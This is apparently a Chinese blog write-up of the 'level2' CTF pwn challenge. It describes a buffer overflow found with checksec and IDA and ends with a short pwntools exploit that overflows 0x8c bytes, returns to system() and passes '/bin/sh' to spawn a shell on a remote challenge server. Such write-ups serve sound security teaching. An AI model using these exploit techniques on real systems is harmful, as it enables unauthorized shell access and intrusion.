level2

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’

题目附件: 附件1

 

 

file如下:

 

 checksec如下:

 

 IDA反汇编,查看main函数:

 

 查看vulnerable_function:

 

 存在缓冲区溢出漏洞和后门函数

Shift+F12查看字符串

 

 有"/bin/sh",那就好办了

查看system函数调用地址:

 

 查看"/bin/sh"地址:

 

 exp如下:

from pwn import *

#io = process('./pwn')
io = connect('220.249.52.133', 40113)

system_address = 0x0804845C
binsh_address = 0x0804A024

payload = b'a'*0x8c + p32(system_address) + p32(binsh_address)
io.sendlineafter('Input:', payload)

io.interactive()

 

posted @ 2020-12-04 17:24  hktk1643  阅读(334)  评论(0编辑  收藏  举报